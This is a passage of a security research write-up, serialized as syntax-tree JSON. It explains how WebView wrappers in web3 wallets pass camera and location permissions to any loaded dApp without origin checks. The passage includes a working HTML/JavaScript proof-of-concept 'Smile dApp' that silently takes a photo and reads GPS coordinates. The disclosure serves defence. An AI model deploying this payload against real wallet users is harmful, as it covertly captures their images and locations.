synchronously\n",{"type":23,"tag":41,"props":156487,"children":156488},{"class":43,"line":54},[156489,156493,156497,156502,156506,156511],{"type":23,"tag":41,"props":156490,"children":156491},{"style":58},[156492],{"type":28,"value":368},{"type":23,"tag":41,"props":156494,"children":156495},{"style":70},[156496],{"type":28,"value":142},{"type":23,"tag":41,"props":156498,"children":156499},{"style":858},[156500],{"type":28,"value":156501},"requestedAndroidPermissions",{"type":23,"tag":41,"props":156503,"children":156504},{"style":70},[156505],{"type":28,"value":706},{"type":23,"tag":41,"props":156507,"children":156508},{"style":114},[156509],{"type":28,"value":156510},"isEmpty",{"type":23,"tag":41,"props":156512,"children":156513},{"style":70},[156514],{"type":28,"value":2400},{"type":23,"tag":41,"props":156516,"children":156517},{"class":43,"line":76},[156518,156523,156527,156532,156536,156541,156545,156550,156554,156558,156563,156567,156571],{"type":23,"tag":41,"props":156519,"children":156520},{"style":858},[156521],{"type":28,"value":156522},"    request",{"type":23,"tag":41,"props":156524,"children":156525},{"style":70},[156526],{"type":28,"value":706},{"type":23,"tag":41,"props":156528,"children":156529},{"style":114},[156530],{"type":28,"value":156531},"grant",{"type":23,"tag":41,"props":156533,"children":156534},{"style":70},[156535],{"type":28,"value":1737},{"type":23,"tag":41,"props":156537,"children":156538},{"style":858},[156539],{"type":28,"value":156540},"grantedPermissions",{"type":23,"tag":41,"props":156542,"children":156543},{"style":70},[156544],{"type":28,"value":706},{"type":23,"tag":41,"props":156546,"children":156547},{"style":114},[156548],{"type":28,"value":156549},"toArray",{"type":23,"tag":41,"props":156551,"children":156552},{"style":70},[156553],{"type":28,"value":1737},{"type":23,"tag":41,"props":156555,"children":156556},{"style":58},[156557],{"type":28,"value":15114},{"type":23,"tag":41,"props":156559,"children":156560},{"style":94},[156561],{"type":28,"value":156562}," String",{"type":23,"tag":41,"props":156564,"children":156565},{"style":70},[156566],{"type":28,"value":312},{"type":23,"tag":41,"props":156568,"children":156569},{"style":164},[156570],{"type":28,"value":4024},{"type":23,"tag":41,"props":156572,"children":156573},{"style":70},[156574],{"type":28,"value":103230},{"type":23,"tag":41,"props":156576,"children":156577},{"class":43,"line":85},[156578,156583,156587,156591],{"type":23,"tag":41,"props":156579,"children":156580},{"style":70},[156581],{"type":28,"value":156582},"    grantedPermissions ",{"type":23,"tag":41,"props":156584,"children":156585},{"style":170},[156586],{"type":28,"value":2381},{"type":23,"tag":41,"props":156588,"children":156589},{"style":64},[156590],{"type":28,"value":70265},{"type":23,"tag":41,"props":156592,"children":156593},{"style":70},[156594],{"type":28,"value":183},{"type":23,"tag":41,"props":156596,"children":156597},{"class":43,"line":105},[156598,156602],{"type":23,"tag":41,"props":156599,"children":156600},{"style":58},[156601],{"type":28,"value":1090},{"type":23,"tag":41,"props":156603,"children":156604},{"style":70},[156605],{"type":28,"value":183},{"type":23,"tag":41,"props":156607,"children":156608},{"class":43,"line":155},[156609],{"type":23,"tag":41,"props":156610,"children":156611},{"style":70},[156612],{"type":28,"value":201},{"type":23,"tag":24,"props":156614,"children":156615},{},[156616],{"type":28,"value":156617},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":546,"props":156619,"children":156621},{"id":156620},"real-world-exploitation",[156622],{"type":28,"value":156623},"Real world exploitation",{"type":23,"tag":24,"props":156625,"children":156626},{},[156627],{"type":28,"value":156628},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":24,"props":156630,"children":156631},{},[156632],{"type":28,"value":156633},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":24,"props":156635,"children":156636},{},[156637,156639,156646],{"type":28,"value":156638},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":458,"props":156640,"children":156643},{"href":156641,"rel":156642},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[462],[156644],{"type":28,"value":156645},"Justson",{"type":28,"value":156647},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":18881,"props":156649,"children":156650},{"id":39496},[156651],{"type":28,"value":34823},{"type":23,"tag":24,"props":156653,"children":156654},{},[156655],{"type":28,"value":156656},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":5436,"props":156658,"children":156659},{},[156660,156665,156670],{"type":23,"tag":421,"props":156661,"children":156662},{},[156663],{"type":28,"value":156664},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":421,"props":156666,"children":156667},{},[156668],{"type":28,"value":156669},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":421,"props":156671,"children":156672},{},[156673],{"type":28,"value":156674},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":31,"props":156676,"children":156678},{"className":50016,"code":156677,"language":32377,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[156679],{"type":23,"tag":37,"props":156680,"children":156681},{"__ignoreMap":7},[156682,156702,156717,156733,156763,156786,156801,156816,156848,156894,156930,156958,156973,157019,157065,157073,157141,157169,157184,157192,157199,157219,157279,157320,157349,157390,157397,157426,157464,157501,157508,157515,157548,157569,157576,157638,157694,157730,157776,157784,157791,157834,157867,157992,158025,158032,158039,158046,158058,158073,158088],{"type":23,"tag":41,"props":156683,"children":156684},{"class":43,"line":44},[156685,156689,156693,156698],{"type":23,"tag":41,"props":156686,"children":156687},{"style":32370},[156688],{"type":28,"value":34219},{"type":23,"tag":41,"props":156690,"children":156691},{"style":64},[156692],{"type":28,"value":34224},{"type":23,"tag":41,"props":156694,"children":156695},{"style":858},[156696],{"type":28,"value":156697}," html",{"type":23,"tag":41,"props":156699,"children":156700},{"style":32370},[156701],{"type":28,"value":773},{"type":23,"tag":41,"props":156703,"children":156704},{"class":43,"line":54},[156705,156709,156713],{"type":23,"tag":41,"props":156706,"children":156707},{"style":32370},[156708],{"type":28,"value":1012},{"type":23,"tag":41,"props":156710,"children":156711},{"style":64},[156712],{"type":28,"value":32377},{"type":23,"tag":41,"props":156714,"children":156715},{"style":32370},[156716],{"type":28,"value":773},{"type":23,"tag":41,"props":156718,"children":156719},{"class":43,"line":76},[156720,156724,156729],{"type":23,"tag":41,"props":156721,"children":156722},{"style":32370},[156723],{"type":28,"value":1012},{"type":23,"tag":41,"props":156725,"children":156726},{"style":64},[156727],{"type":28,"value":156728},"head",{"type":23,"tag":41,"props":156730,"children":156731},{"style":32370},[156732],{"type":28,"value":773},{"type":23,"tag":41,"props":156734,"children":156735},{"class":43,"line":85},[156736,156740,156745,156750,156754,156759],{"type":23,"tag":41,"props":156737,"children":156738},{"style":32370},[156739],{"type":28,"value":32440},{"type":23,"tag":41,"props":156741,"children":156742},{"style":64},[156743],{"type":28,"value":156744},"meta",{"type":23,"tag":41,"props":156746,"children":156747},{"style":858},[156748],{"type":28,"value":156749}," charset",{"type":23,"tag":41,"props":156751,"children":156752},{"style":70},[156753],{"type":28,"value":2381},{"type":23,"tag":41,"props":156755,"children":156756},{"style":735},[156757],{"type":28,"value":156758},"\"utf-8\"",{"type":23,"tag":41,"props":156760,"children":156761},{"style":32370},[156762],{"type":28,"value":773},{"type":23,"tag":41,"props":156764,"children":156765},{"class":43,"line":105},[156766,156770,156774,156778,156782],{"type":23,"tag":41,"props":156767,"children":156768},{"style":32370},[156769],{"type":28,"value":32440},{"type":23,"tag":41,"props":156771,"children":156772},{"style":64},[156773],{"type":28,"value":34297},{"type":23,"tag":41,"props":156775,"children":156776},{"style":32370},[156777],{"type":28,"value":50060},{"type":23,"tag":41,"props":156779,"children":156780},{"style":64},[156781],{"type":28,"value":34297},{"type":23,"tag":41,"props":156783,"children":156784},{"style":32370},[156785],{"type":28,"value":773},{"type":23,"tag":41,"props":156787,"children":156788},{"class":43,"line":155},[156789,156793,156797],{"type":23,"tag":41,"props":156790,"children":156791},{"style":32370},[156792],{"type":28,"value":32424},{"type":23,"tag":41,"props":156794,"children":156795},{"style":64},[156796],{"type":28,"value":156728},{"type":23,"tag":41,"props":156798,"children":156799},{"style":32370},[156800],{"type":28,"value":773},{"type":23,"tag":41,"props":156802,"children":156803},{"class":43,"line":186},[156804,156808,156812],{"type":23,"tag":41,"props":156805,"children":156806},{"style":32370},[156807],{"type":28,"value":1012},{"type":23,"tag":41,"props":156809,"children":156810},{"style":64},[156811],{"type":28,"value":32394},{"type":23,"tag":41,"props":156813,"children":156814},{"style":32370},[156815],{"type":28,"value":773},{"type":23,"tag":41,"props":156817,"children":156818},{"class":43,"line":195},[156819,156823,156827,156831,156836,156840,156844],{"type":23,"tag":41,"props":156820,"children":156821},{"style":32370},[156822],{"type":28,"value":32440},{"type":23,"tag":41,"props":156824,"children":156825},{"style":64},[156826],{"type":28,"value":446},{"type":23,"tag":41,"props":156828,"children":156829},{"style":32370},[156830],{"type":28,"value":1022},{"type":23,"tag":41,"props":156832,"children":156833},{"style":70},[156834],{"type":28,"value":156835},"Smile dApp :)",{"type":23,"tag":41,"props":156837,"children":156838},{"style":32370},[156839],{"type":28,"value":32424},{"type":23,"tag":41,"props":156841,"children":156842},{"style":64},[156843],{"type":28,"value":446},{"type":23,"tag":41,"props":156845,"children":156846},{"style":32370},[156847],{"type":28,"value":773},{"type":23,"tag":41,"props":156849,"children":156850},{"class":43,"line":905},[156851,156855,156860,156864,156868,156873,156877,156882,156886,156890],{"type":23,"tag":41,"props":156852,"children":156853},{"style":32370},[156854],{"type":28,"value":32440},{"type":23,"tag":41,"props":156856,"children":156857},{"style":64},[156858],{"type":28,"value":156859},"button",{"type":23,"tag":41,"props":156861,"children":156862},{"style":858},[156863],{"type":28,"value":32450},{"type":23,"tag":41,"props":156865,"children":156866},{"style":70},[156867],{"type":28,"value":2381},{"type":23,"tag":41,"props":156869,"children":156870},{"style":735},[156871],{"type":28,"value":156872},"\"connect\"",{"type":23,"tag":41,"props":156874,"children":156875},{"style":32370},[156876],{"type":28,"value":1022},{"type":23,"tag":41,"props":156878,"children":156879},{"style":70},[156880],{"type":28,"value":156881},"Connect your wallet!",{"type":23,"tag":41,"props":156883,"children":156884},{"style":32370},[156885],{"type":28,"value":32424},{"type":23,"tag":41,"props":156887,"children":156888},{"style":64},[156889],{"type":28,"value":156859},{"type":23,"tag":41,"props":156891,"children":156892},{"style":32370},[156893],{"type":28,"value":773},{"type":23,"tag":41,"props":156895,"children":156896},{"class":43,"line":922},[156897,156901,156905,156909,156913,156918,156922,156926],{"type":23,"tag":41,"props":156898,"children":156899},{"style":32370},[156900],{"type":28,"value":32440},{"type":23,"tag":41,"props":156902,"children":156903},{"style":64},[156904],{"type":28,"value":31},{"type":23,"tag":41,"props":156906,"children":156907},{"style":858},[156908],{"type":28,"value":32450},{"type":23,"tag":41,"props":156910,"children":156911},{"style":70},[156912],{"type":28,"value":2381},{"type":23,"tag":41,"props":156914,"children":156915},{"style":735},[156916],{"type":28,"value":156917},"\"gps\"",{"type":23,"tag":41,"props":156919,"children":156920},{"style":32370},[156921],{"type":28,"value":50060},{"type":23,"tag":41,"props":156923,"children":156924},{"style":64},[156925],{"type":28,"value":31},{"type":23,"tag":41,"props":156927,"children":156928},{"style":32370},[156929],{"type":28,"value":773},{"type":23,"tag":41,"props":156931,"children":156932},{"class":43,"line":930},[156933,156937,156941,156945,156949,156954],{"type":23,"tag":41,"props":156934,"children":156935},{"style":32370},[156936],{"type":28,"value":32440},{"type":23,"tag":41,"props":156938,"children":156939},{"style":64},[156940],{"type":28,"value":3918},{"type":23,"tag":41,"props":156942,"children":156943},{"style":858},[156944],{"type":28,"value":32450},{"type":23,"tag":41,"props":156946,"children":156947},{"style":70},[156948],{"type":28,"value":2381},{"type":23,"tag":41,"props":156950,"children":156951},{"style":735},[156952],{"type":28,"value":156953},"\"pic\"",{"type":23,"tag":41,"props":156955,"children":156956},{"style":32370},[156957],{"type":28,"value":773},{"type":23,"tag":41,"props":156959,"children":156960},{"class":43,"line":939},[156961,156965,156969],{"type":23,"tag":41,"props":156962,"children":156963},{"style":32370},[156964],{"type":28,"value":32440},{"type":23,"tag":41,"props":156966,"children":156967},{"style":64},[156968],{"type":28,"value":32410},{"type":23,"tag":41,"props":156970,"children":156971},{"style":32370},[156972],{"type":28,"value":773},{"type":23,"tag":41,"props":156974,"children":156975},{"class":43,"line":947},[156976,156981,156985,156990,156994,156999,157003,157007,157011,157015],{"type":23,"tag":41,"props":156977,"children":156978},{"style":858},[156979],{"type":28,"value":156980},"        window",{"type":23,"tag":41,"props":156982,"children":156983},{"style":170},[156984],{"type":28,"value":706},{"type":23,"tag":41,"props":156986,"children":156987},{"style":114},[156988],{"type":28,"value":156989},"addEventListener",{"type":23,"tag":41,"props":156991,"children":156992},{"style":170},[156993],{"type":28,"value":1737},{"type":23,"tag":41,"props":156995,"children":156996},{"style":735},[156997],{"type":28,"value":156998},"'unhandledrejection'",{"type":23,"tag":41,"props":157000,"children":157001},{"style":170},[157002],{"type":28,"value":970},{"type":23,"tag":41,"props":157004,"children":157005},{"style":64},[157006],{"type":28,"value":31371},{"type":23,"tag":41,"props":157008,"children":157009},{"style":170},[157010],{"type":28,"value":142},{"type":23,"tag":41,"props":157012,"children":157013},{"style":858},[157014],{"type":28,"value":82122},{"type":23,"tag":41,"props":157016,"children":157017},{"style":170},[157018],{"type":28,"value":152},{"type":23,"tag":41,"props":157020,"children":157021},{"class":43,"line":985},[157022,157027,157031,157036,157040,157044,157048,157053,157057,157061],{"type":23,"tag":41,"props":157023,"children":157024},{"style":114},[157025],{"type":28,"value":157026},"            alert",{"type":23,"tag":41,"props":157028,"children":157029},{"style":170},[157030],{"type":28,"value":1737},{"type":23,"tag":41,"props":157032,"children":157033},{"style":735},[157034],{"type":28,"value":157035},"`Unhandled Promise Rejection: ",{"type":23,"tag":41,"props":157037,"children":157038},{"style":64},[157039],{"type":28,"value":34102},{"type":23,"tag":41,"props":157041,"children":157042},{"style":858},[157043],{"type":28,"value":82122},{"type":23,"tag":41,"props":157045,"children":157046},{"style":170},[157047],{"type":28,"value":706},{"type":23,"tag":41,"props":157049,"children":157050},{"style":858},[157051],{"type":28,"value":157052},"reason",{"type":23,"tag":41,"props":157054,"children":157055},{"style":64},[157056],{"type":28,"value":34134},{"type":23,"tag":41,"props":157058,"children":157059},{"style":735},[157060],{"type":28,"value":10380},{"type":23,"tag":41,"props":157062,"children":157063},{"style":170},[157064],{"type":28,"value":3825},{"type":23,"tag":41,"props":157066,"children":157067},{"class":43,"line":1058},[157068],{"type":23,"tag":41,"props":157069,"children":157070},{"style":170},[157071],{"type":28,"value":157072},"        });\n",{"type":23,"tag":41,"props":157074,"children":157075},{"class":43,"line":1084},[157076,157080,157084,157088,157092,157096,157100,157104,157108,157112,157116,157120,157124,157129,157133,157137],{"type":23,"tag":41,"props":157077,"children":157078},{"style":858},[157079],{"type":28,"value":156980},{"type":23,"tag":41,"props":157081,"children":157082},{"style":170},[157083],{"type":28,"value":706},{"type":23,"tag":41,"props":157085,"children":157086},{"style":114},[157087],{"type":28,"value":32682},{"type":23,"tag":41,"props":157089,"children":157090},{"style":170},[157091],{"type":28,"value":32904},{"type":23,"tag":41,"props":157093,"children":157094},{"style":64},[157095],{"type":28,"value":31371},{"type":23,"tag":41,"props":157097,"children":157098},{"style":170},[157099],{"type":28,"value":142},{"type":23,"tag":41,"props":157101,"children":157102},{"style":858},[157103],{"type":28,"value":57942},{"type":23,"tag":41,"props":157105,"children":157106},{"style":170},[157107],{"type":28,"value":970},{"type":23,"tag":41,"props":157109,"children":157110},{"style":858},[157111],{"type":28,"value":70373},{"type":23,"tag":41,"props":157113,"children":157114},{"style":170},[157115],{"type":28,"value":970},{"type":23,"tag":41,"props":157117,"children":157118},{"style":858},[157119],{"type":28,"value":43},{"type":23,"tag":41,"props":157121,"children":157122},{"style":170},[157123],{"type":28,"value":970},{"type":23,"tag":41,"props":157125,"children":157126},{"style":858},[157127],{"type":28,"value":157128},"col",{"type":23,"tag":41,"props":157130,"children":157131},{"style":170},[157132],{"type":28,"value":970},{"type":23,"tag":41,"props":157134,"children":157135},{"style":858},[157136],{"type":28,"value":14855},{"type":23,"tag":41,"props":157138,"children":157139},{"style":170},[157140],{"type":28,"value":152},{"type":23,"tag":41,"props":157142,"children":157143},{"class":43,"line":1102},[157144,157148,157152,157157,157161,157165],{"type":23,"tag":41,"props":157145,"children":157146},{"style":114},[157147],{"type":28,"value":157026},{"type":23,"tag":41,"props":157149,"children":157150},{"style":170},[157151],{"type":28,"value":1737},{"type":23,"tag":41,"props":157153,"children":157154},{"style":735},[157155],{"type":28,"value":157156},"'onerror: '",{"type":23,"tag":41,"props":157158,"children":157159},{"style":170},[157160],{"type":28,"value":34690},{"type":23,"tag":41,"props":157162,"children":157163},{"style":858},[157164],{"type":28,"value":57942},{"type":23,"tag":41,"props":157166,"children":157167},{"style":170},[157168],{"type":28,"value":3825},{"type":23,"tag":41,"props":157170,"children":157171},{"class":43,"line":1110},[157172,157176,157180],{"type":23,"tag":41,"props":157173,"children":157174},{"style":58},[157175],{"type":28,"value":79071},{"type":23,"tag":41,"props":157177,"children":157178},{"style":64},[157179],{"type":28,"value":1095},{"type":23,"tag":41,"props":157181,"children":157182},{"style":170},[157183],{"type":28,"value":183},{"type":23,"tag":41,"props":157185,"children":157186},{"class":43,"line":1118},[157187],{"type":23,"tag":41,"props":157188,"children":157189},{"style":170},[157190],{"type":28,"value":157191},"        };\n",{"type":23,"tag":41,"props":157193,"children":157194},{"class":43,"line":1137},[157195],{"type":23,"tag":41,"props":157196,"children":157197},{"emptyLinePlaceholder":18},[157198],{"type":28,"value":82},{"type":23,"tag":41,"props":157200,"children":157201},{"class":43,"line":1163},[157202,157207,157211,157215],{"type":23,"tag":41,"props":157203,"children":157204},{"style":64},[157205],{"type":28,"value":157206},"        async",{"type":23,"tag":41,"props":157208,"children":157209},{"style":64},[157210],{"type":28,"value":669},{"type":23,"tag":41,"props":157212,"children":157213},{"style":114},[157214],{"type":28,"value":1129},{"type":23,"tag":41,"props":157216,"children":157217},{"style":170},[157218],{"type":28,"value":1134},{"type":23,"tag":41,"props":157220,"children":157221},{"class":43,"line":1188},[157222,157226,157231,157235,157239,157244,157248,157253,157257,157262,157266,157271,157275],{"type":23,"tag":41,"props":157223,"children":157224},{"style":64},[157225],{"type":28,"value":150752},{"type":23,"tag":41,"props":157227,"children":157228},{"style":858},[157229],{"type":28,"value":157230}," stream",{"type":23,"tag":41,"props":157232,"children":157233},{"style":170},[157234],{"type":28,"value":32904},{"type":23,"tag":41,"props":157236,"children":157237},{"style":58},[157238],{"type":28,"value":32909},{"type":23,"tag":41,"props":157240,"children":157241},{"style":858},[157242],{"type":28,"value":157243}," navigator",{"type":23,"tag":41,"props":157245,"children":157246},{"style":170},[157247],{"type":28,"value":706},{"type":23,"tag":41,"props":157249,"children":157250},{"style":858},[157251],{"type":28,"value":157252},"mediaDevices",{"type":23,"tag":41,"props":157254,"children":157255},{"style":170},[157256],{"type":28,"value":706},{"type":23,"tag":41,"props":157258,"children":157259},{"style":114},[157260],{"type":28,"value":157261},"getUserMedia",{"type":23,"tag":41,"props":157263,"children":157264},{"style":170},[157265],{"type":28,"value":31492},{"type":23,"tag":41,"props":157267,"children":157268},{"style":858},[157269],{"type":28,"value":157270},"video:",{"type":23,"tag":41,"props":157272,"children":157273},{"style":64},[157274],{"type":28,"value":915},{"type":23,"tag":41,"props":157276,"children":157277},{"style":170},[157278],{"type":28,"value":38828},{"type":23,"tag":41,"props":157280,"children":157281},{"class":43,"line":1979},[157282,157286,157291,157295,157299,157303,157307,157311,157316],{"type":23,"tag":41,"props":157283,"children":157284},{"style":64},[157285],{"type":28,"value":150752},{"type":23,"tag":41,"props":157287,"children":157288},{"style":858},[157289],{"type":28,"value":157290}," video",{"type":23,"tag":41,"props":157292,"children":157293},{"style":170},[157294],{"type":28,"value":32904},{"type":23,"tag":41,"props":157296,"children":157297},{"style":858},[157298],{"type":28,"value":32701},{"type":23,"tag":41,"props":157300,"children":157301},{"style":170},[157302],{"type":28,"value":706},{"type":23,"tag":41,"props":157304,"children":157305},{"style":114},[157306],{"type":28,"value":36716},{"type":23,"tag":41,"props":157308,"children":157309},{"style":170},[157310],{"type":28,"value":1737},{"type":23,"tag":41,"props":157312,"children":157313},{"style":735},[157314],{"type":28,"value":157315},"\"video\"",{"type":23,"tag":41,"props":157317,"children":157318},{"style":170},[157319],{"type":28,"value":3825},{"type":23,"tag":41,"props":157321,"children":157322},{"class":43,"line":2002},[157323,157328,157332,157337,157341,157345],{"type":23,"tag":41,"props":157324,"children":157325},{"style":858},[157326],{"type":28,"value":157327},"            video",{"type":23,"tag":41,"props":157329,"children":157330},{"style":170},[157331],{"type":28,"value":706},{"type":23,"tag":41,"props":157333,"children":157334},{"style":858},[157335],{"type":28,"value":157336},"srcObject",{"type":23,"tag":41,"props":157338,"children":157339},{"style":170},[157340],{"type":28,"value":32904},{"type":23,"tag":41,"props":157342,"children":157343},{"style":858},[157344],{"type":28,"value":36256},{"type":23,"tag":41,"props":157346,"children":157347},{"style":170},[157348],{"type":28,"value":183},{"type":23,"tag":41,"props":157350,"children":157351},{"class":43,"line":3835},[157352,157356,157361,157365,157369,157373,157377,157381,157386],{"type":23,"tag":41,"props":157353,"children":157354},{"style":64},[157355],{"type":28,"value":150752},{"type":23,"tag":41,"props":157357,"children":157358},{"style":858},[157359],{"type":28,"value":157360}," canvas",{"type":23,"tag":41,"props":157362,"children":157363},{"style":170},[157364],{"type":28,"value":32904},{"type":23,"tag":41,"props":157366,"children":157367},{"style":858},[157368],{"type":28,"value":32701},{"type":23,"tag":41,"props":157370,"children":157371},{"style":170},[157372],{"type":28,"value":706},{"type":23,"tag":41,"props":157374,"children":157375},{"style":114},[157376],{"type":28,"value":36716},{"type":23,"tag":41,"props":157378,"children":157379},{"style":170},[157380],{"type":28,"value":1737},{"type":23,"tag":41,"props":157382,"children":157383},{"style":735},[157384],{"type":28,"value":157385},"\"canvas\"",{"type":23,"tag":41,"props":157387,"children":157388},{"style":170},[157389],{"type":28,"value":3825},{"type":23,"tag":41,"props":157391,"children":157392},{"class":43,"line":3895},[157393],{"type":23,"tag":41,"props":157394,"children":157395},{"emptyLinePlaceholder":18},[157396],{"type":28,"value":82},{"type":23,"tag":41,"props":157398,"children":157399},{"class":43,"line":9044},[157400,157404,157408,157413,157418,157422],{"type":23,"tag":41,"props":157401,"children":157402},{"style":858},[157403],{"type":28,"value":157327},{"type":23,"tag":41,"props":157405,"children":157406},{"style":170},[157407],{"type":28,"value":706},{"type":23,"tag":41,"props":157409,"children":157410},{"style":114},[157411],{"type":28,"value":157412},"onloadedmetadata",{"type":23,"tag":41,"props":157414,"children":157415},{"style":170},[157416],{"type":28,"value":157417}," = () ",{"type":23,"tag":41,"props":157419,"children":157420},{"style":64},[157421],{"type":28,"value":14813},{"type":23,"tag":41,"props":157423,"children":157424},{"style":170},[157425],{"type":28,"value":102},{"type":23,"tag":41,"props":157427,"children":157428},{"class":43,"line":9061},[157429,157434,157438,157443,157447,157451,157455,157460],{"type":23,"tag":41,"props":157430,"children":157431},{"style":858},[157432],{"type":28,"value":157433},"                canvas",{"type":23,"tag":41,"props":157435,"children":157436},{"style":170},[157437],{"type":28,"value":706},{"type":23,"tag":41,"props":157439,"children":157440},{"style":858},[157441],{"type":28,"value":157442},"width",{"type":23,"tag":41,"props":157444,"children":157445},{"style":170},[157446],{"type":28,"value":32904},{"type":23,"tag":41,"props":157448,"children":157449},{"style":858},[157450],{"type":28,"value":131576},{"type":23,"tag":41,"props":157452,"children":157453},{"style":170},[157454],{"type":28,"value":706},{"type":23,"tag":41,"props":157456,"children":157457},{"style":858},[157458],{"type":28,"value":157459},"videoWidth",{"type":23,"tag":41,"props":157461,"children":157462},{"style":170},[157463],{"type":28,"value":183},{"type":23,"tag":41,"props":157465,"children":157466},{"class":43,"line":9106},[157467,157471,157475,157480,157484,157488,157492,157497],{"type":23,"tag":41,"props":157468,"children":157469},{"style":858},[157470],{"type":28,"value":157433},{"type":23,"tag":41,"props":157472,"children":157473},{"style":170},[157474],{"type":28,"value":706},{"type":23,"tag":41,"props":157476,"children":157477},{"style":858},[157478],{"type":28,"value":157479},"height",{"type":23,"tag":41,"props":157481,"children":157482},{"style":170},[157483],{"type":28,"value":32904},{"type":23,"tag":41,"props":157485,"children":157486},{"style":858},[157487],{"type":28,"value":131576},{"type":23,"tag":41,"props":157489,"children":157490},{"style":170},[157491],{"type":28,"value":706},{"type":23,"tag":41,"props":157493,"children":157494},{"style":858},[157495],{"type":28,"value":157496},"videoHeight",{"type":23,"tag":41,"props":157498,"children":157499},{"style":170},[157500],{"type":28,"value":183},{"type":23,"tag":41,"props":157502,"children":157503},{"class":43,"line":9212},[157504],{"type":23,"tag":41,"props":157505,"children":157506},{"style":170},[157507],{"type":28,"value":48068},{"type":23,"tag":41,"props":157509,"children":157510},{"class":43,"line":23496},[157511],{"type":23,"tag":41,"props":157512,"children":157513},{"emptyLinePlaceholder":18},[157514],{"type":28,"value":82},{"type":23,"tag":41,"props":157516,"children":157517},{"class":43,"line":23531},[157518,157523,157527,157532,157536,157540,157544],{"type":23,"tag":41,"props":157519,"children":157520},{"style":858},[157521],{"type":28,"value":157522},"            connect",{"type":23,"tag":41,"props":157524,"children":157525},{"style":170},[157526],{"type":28,"value":706},{"type":23,"tag":41,"props":157528,"children":157529},{"style":114},[157530],{"type":28,"value":157531},"onclick",{"type":23,"tag":41,"props":157533,"children":157534},{"style":170},[157535],{"type":28,"value":32904},{"type":23,"tag":41,"props":157537,"children":157538},{"style":858},[157539],{"type":28,"value":51449},{"type":23,"tag":41,"props":157541,"children":157542},{"style":64},[157543],{"type":28,"value":27752},{"type":23,"tag":41,"props":157545,"children":157546},{"style":170},[157547],{"type":28,"value":102},{"type":23,"tag":41,"props":157549,"children":157550},{"class":43,"line":23539},[157551,157556,157560,157565],{"type":23,"tag":41,"props":157552,"children":157553},{"style":858},[157554],{"type":28,"value":157555},"                video",{"type":23,"tag":41,"props":157557,"children":157558},{"style":170},[157559],{"type":28,"value":706},{"type":23,"tag":41,"props":157561,"children":157562},{"style":114},[157563],{"type":28,"value":157564},"play",{"type":23,"tag":41,"props":157566,"children":157567},{"style":170},[157568],{"type":28,"value":3669},{"type":23,"tag":41,"props":157570,"children":157571},{"class":43,"line":23547},[157572],{"type":23,"tag":41,"props":157573,"children":157574},{"emptyLinePlaceholder":18},[157575],{"type":28,"value":82},{"type":23,"tag":41,"props":157577,"children":157578},{"class":43,"line":23556},[157579,157583,157587,157592,157596,157601,157605,157610,157614,157618,157622,157626,157630,157634],{"type":23,"tag":41,"props":157580,"children":157581},{"style":858},[157582],{"type":28,"value":157433},{"type":23,"tag":41,"props":157584,"children":157585},{"style":170},[157586],{"type":28,"value":706},{"type":23,"tag":41,"props":157588,"children":157589},{"style":114},[157590],{"type":28,"value":157591},"getContext",{"type":23,"tag":41,"props":157593,"children":157594},{"style":170},[157595],{"type":28,"value":1737},{"type":23,"tag":41,"props":157597,"children":157598},{"style":735},[157599],{"type":28,"value":157600},"\"2d\"",{"type":23,"tag":41,"props":157602,"children":157603},{"style":170},[157604],{"type":28,"value":20729},{"type":23,"tag":41,"props":157606,"children":157607},{"style":114},[157608],{"type":28,"value":157609},"drawImage",{"type":23,"tag":41,"props":157611,"children":157612},{"style":170},[157613],{"type":28,"value":1737},{"type":23,"tag":41,"props":157615,"children":157616},{"style":858},[157617],{"type":28,"value":131576},{"type":23,"tag":41,"props":157619,"children":157620},{"style":170},[157621],{"type":28,"value":970},{"type":23,"tag":41,"props":157623,"children":157624},{"style":164},[157625],{"type":28,"value":4024},{"type":23,"tag":41,"props":157627,"children":157628},{"style":170},[157629],{"type":28,"